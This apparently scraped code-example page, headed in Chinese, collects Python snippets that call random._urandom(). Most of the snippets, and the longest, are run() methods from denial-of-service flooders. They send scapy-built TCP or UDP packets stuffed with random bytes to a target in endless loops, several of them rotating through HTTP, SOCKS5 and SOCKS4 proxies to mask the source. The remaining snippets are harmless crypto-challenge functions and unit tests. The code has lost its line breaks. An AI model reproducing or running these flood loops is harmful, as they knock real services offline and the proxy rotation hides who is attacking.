我们从Python开源项目中，提取了以下12个代码示例，用于说明如何使用random._urandom()。
def run(self): # la funzione che da' le istruzioni ai vari threads data = random._urandom(1024) # data per il pacchetto random p = bytes(IP(dst=str(url2))/TCP(sport=RandShort(), dport=int(port))/data) # costruzione pacchetto tcp + data current = x # per dare l'id al thread if current < len(proxies): # se l'id del thread si puo' associare ad un proxy, usa quel proxy proxy = proxies[current].strip().split(':') else: # altrimenti lo prende a random proxy = random.choice(proxies).strip().split(":") go.wait() # aspetta che tutti i proxy siano pronti while True: try: socks.setdefaultproxy(socks.PROXY_TYPE_HTTP, str(proxy[0]), int(proxy[1]), True) # comando per il proxying HTTP s = socks.socksocket() # creazione socket s.connect((str(url2),int(port))) # si connette s.send(p) # ed invia print ("Request sent from " + str(proxy[0]+":"+proxy[1]) + " @", self.counter) # print req + counter except: # se si verifica un errore s.close() # chiude il thread e ricomincia
def run(self): # la funzione che da' le istruzioni ai vari threads data = random._urandom(1024) # data per il pacchetto random p = bytes(IP(dst=str(url2))/UDP(dport=int(port))/data) # crea pacchetto udp classico + data current = x # per dare l'id al thread if current < len(proxies): # se l'id del thread si puo' associare ad un proxy, usa quel proxy proxy = proxies[current].strip().split(':') else: # altrimenti lo prende a random proxy = random.choice(proxies).strip().split(":") go.wait() # aspetta che threads sono pronti while True: try: socks.setdefaultproxy(socks.PROXY_TYPE_HTTP, str(proxy[0]), int(proxy[1]), True) # comando per il proxying HTTP s = socks.socksocket() # creazione socket s.connect((str(url2),int(port))) # connessione s.send(p) # invio print ("Request sent from " + str(proxy[0]+":"+proxy[1]) + " @", self.counter) # print req + counter except: # se qualcosa va storto s.close() # chiude il socket
def split_secret(secret, piece_count, function): """ Splits secret into piece_count separate challenges, based on cracking a given output function from function. The secret can be recovered by a threshold quantity of pieces, which is determined by the size of the secret and the number/weight of pieces. Challenge weight is calculated as: piece_size, last_challenge_size = divmod(len(secret), piece_count - 1) Note that if the length of secret is not evenly divisible by piece_count, then the last challenge will be of weight len(secret) % (piece_count - 1). """ piece_size, remainder = divmod(len(secret), piece_count - 1) pieces = [] for index in range(piece_count - 1): piece = secret[index * piece_size:(index + 1) * piece_size] challenge_iv = random._urandom(16) hash_output = function(challenge_iv, piece) pieces.append((index, hash_output, challenge_iv)) last_iv = random._urandom(16) #print "Creating last block: ", -remainder pieces.append((index + 1, function(last_iv, secret[-remainder:]), last_iv)) return pieces, function('', secret), piece_size
def run(self): # la funzione che da' le istruzioni ai vari threads data = random._urandom(1024) # data per il pacchetto random p = bytes(IP(dst=str(url2))/TCP(sport=RandShort(), dport=int(port))/data) # costruzione pacchetto tcp + data current = x # per dare l'id al thread if current < len(proxies): # se l'id del thread si puo' associare ad un proxy, usa quel proxy proxy = proxies[current].strip().split(':') else: # altrimenti lo prende a random proxy = random.choice(proxies).strip().split(":") go.wait() # aspetta che threads siano pronti while True: try: socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, str(proxy[0]), int(proxy[1]), True) # comando per il proxying via SOCKS s = socks.socksocket() # creazione socket s.connect((str(url2),int(port))) # si connette s.send(p) # ed invia print ("Request sent from " + str(proxy[0]+":"+proxy[1]) + " @", self.counter) # print req + counter except: # se si verifica un errore s.close() # intanto chiude il precedente socket non funzionante try: socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS4, str(proxy[0]), int(proxy[1]), True) # poi prova ad utilizzare SOCKS4, magari e' questo il problema dell'errore s = socks.socksocket() # creazione socket s.connect((str(url2),int(port))) # connessione s.send(p) # invio print ("Request sent from " + str(proxy[0]+":"+proxy[1]) + " @", self.counter) # print req + counter except: # se nemmeno questo funge, allora il sock e' down print ("Sock down. Retrying request. @", self.counter) s.close() # chiude il socket e ricomincia ciclo
def run(self): # la funzione che da' le istruzioni ai vari threads data = random._urandom(1024) # data per il pacchetto random p = bytes(IP(dst=str(url2))/TCP(sport=RandShort(), dport=int(port))/data) # costruzione pacchetto tcp + data go.wait() # aspetta che tutti i threads siano pronti while True: # ciclo infinito try: # il try per non far chiudere il programma se qualcosa va storto s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # creazione solito socket s.connect((str(url2),int(port))) # connessione al target s.send(p) # questo manda il pacchetto tcp creato al target print ("Request Sent! @", self.counter) # print richiesta + counter except: # se si verifica un errore s.close() # lo ignora e ricomincia il ciclo
def run(self): # la funzione che da' le istruzioni ai vari threads data = random._urandom(1024) # data per il pacchetto random p = bytes(IP(dst=str(url2))/UDP(dport=int(port))/data) # crea pacchetto udp classico + data current = x # per dare l'id al thread if current < len(proxies): # se l'id del thread si puo' associare ad un proxy, usa quel proxy proxy = proxies[current].strip().split(':') else: # altrimenti lo prende a random proxy = random.choice(proxies).strip().split(":") go.wait() # aspetta che threads siano pronti while True: try: socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, str(proxy[0]), int(proxy[1]), True) # comando per il proxying con SOCKS s = socks.socksocket() # creazione socket s.connect((str(url2),int(port))) # connessione s.send(p) # invio print ("Request sent from " + str(proxy[0]+":"+proxy[1]) + " @", self.counter) # req + counter except: # se qualcosa va storto questo except chiude il socket e si collega al try sotto s.close() # intanto chiude il precedente socket non funzionante try: socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS4, str(proxy[0]), int(proxy[1]), True) # poi prova ad utilizzare SOCKS4, magari e' questo il problema dell'errore s = socks.socksocket() # creazione socket s.connect((str(url2),int(port))) # connessione s.send(p) # invio print ("Request sent from " + str(proxy[0]+":"+proxy[1]) + " @", self.counter) # req + counter except: # se nemmeno questo funge, allora il sock e' down print ("Sock down. Retrying request. @", self.counter) s.close() # chiude il socket e ricomincia ciclo
def generate_challenge(key, mac_key, challenge_size=32, bytes_per_hash=1, hash_function="sha256", unencrypted_data='', answer=bytes()): """ Create a challenge that only the holder of key should be able to solve. mac_key is required to assure integrity and authenticity of the challenge to the client. challenge_size is the total amount of data the client must crack. A random challenge of challenge_size is generated, and separated into challenge_size / bytes_per_hash subchallenges. The time taken to crack a single subchallenge is O(2**n) (? not sure!), where n is the number of bytes_per_hash. hash_function is a string name of an algorithm available in the hashlib module unencrypted_data is an optional string of data to be packaged with the challenge. The data is not kept confidential, but possesses integrity and authenticity because of the message authentication code over the entire package. answer is an optional string, that when supplied, is used instead of a random challenge. If supplied, the challenge_size argument has no effect. """ answer = answer or random._urandom(challenge_size) challenge = encrypt(answer, key, hmac_factory(hash_function), input_block_size=bytes_per_hash) package = save_data(challenge, bytes_per_hash, unencrypted_data) return (save_data(generate_mac(mac_key, package, hash_function), hash_function, package), answer)
def create_password_recovery(function, trapdoor_information_size=16, password='', password_prompt="Please enter the password to create a recovery hash: "): """ Create a password recovery hash. Returns: function(password + trapdoor_information) Presuming the user remembers enough of the password hashed this way, they should be able to recover the password given the hash and the trapdoor information. """ trapdoor_information = random._urandom(trapdoor_information_size) return (function(trapdoor_information, password or getpass.getpass(password_prompt)), trapdoor_information)
def test_encrypt_decrypt(): key = random._urandom(32) message = random._urandom(32) ciphertext = encrypt(message, key, HMAC_SHA256) plaintext = decrypt(ciphertext, key, HMAC_SHA256, 32) assert plaintext == message, plaintext
def test_challenge(): key = random._urandom(32) mac_key = random._urandom(32) unencrypted_data = "This is some awesome unencrypted data" challenge, answer = generate_challenge(key, mac_key, unencrypted_data=unencrypted_data) _answer, _unencrypted_data = solve_challenge(challenge, key, mac_key) assert _answer == answer assert _unencrypted_data == unencrypted_data
def test_validity(): key = random._urandom(32) mac_key = random._urandom(32) unencrypted_data = "This is some awesome unencrypted data" for x in xrange(100): challenge, answer = generate_challenge(key, mac_key, unencrypted_data=unencrypted_data, bytes_per_hash=3) _answer, data = solve_challenge(challenge, key, mac_key) assert _answer == answer
def run(self): try: s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) bytes = random._urandom(self.size) while True: s.sendto(bytes,(self.ip, self.port)) print colors.vermelho + " [*] Pckt send:" + ":"+colors.verde + self.ip except KeyboardInterrupt: print('') print(colors.R+ "[!] Exiting...")
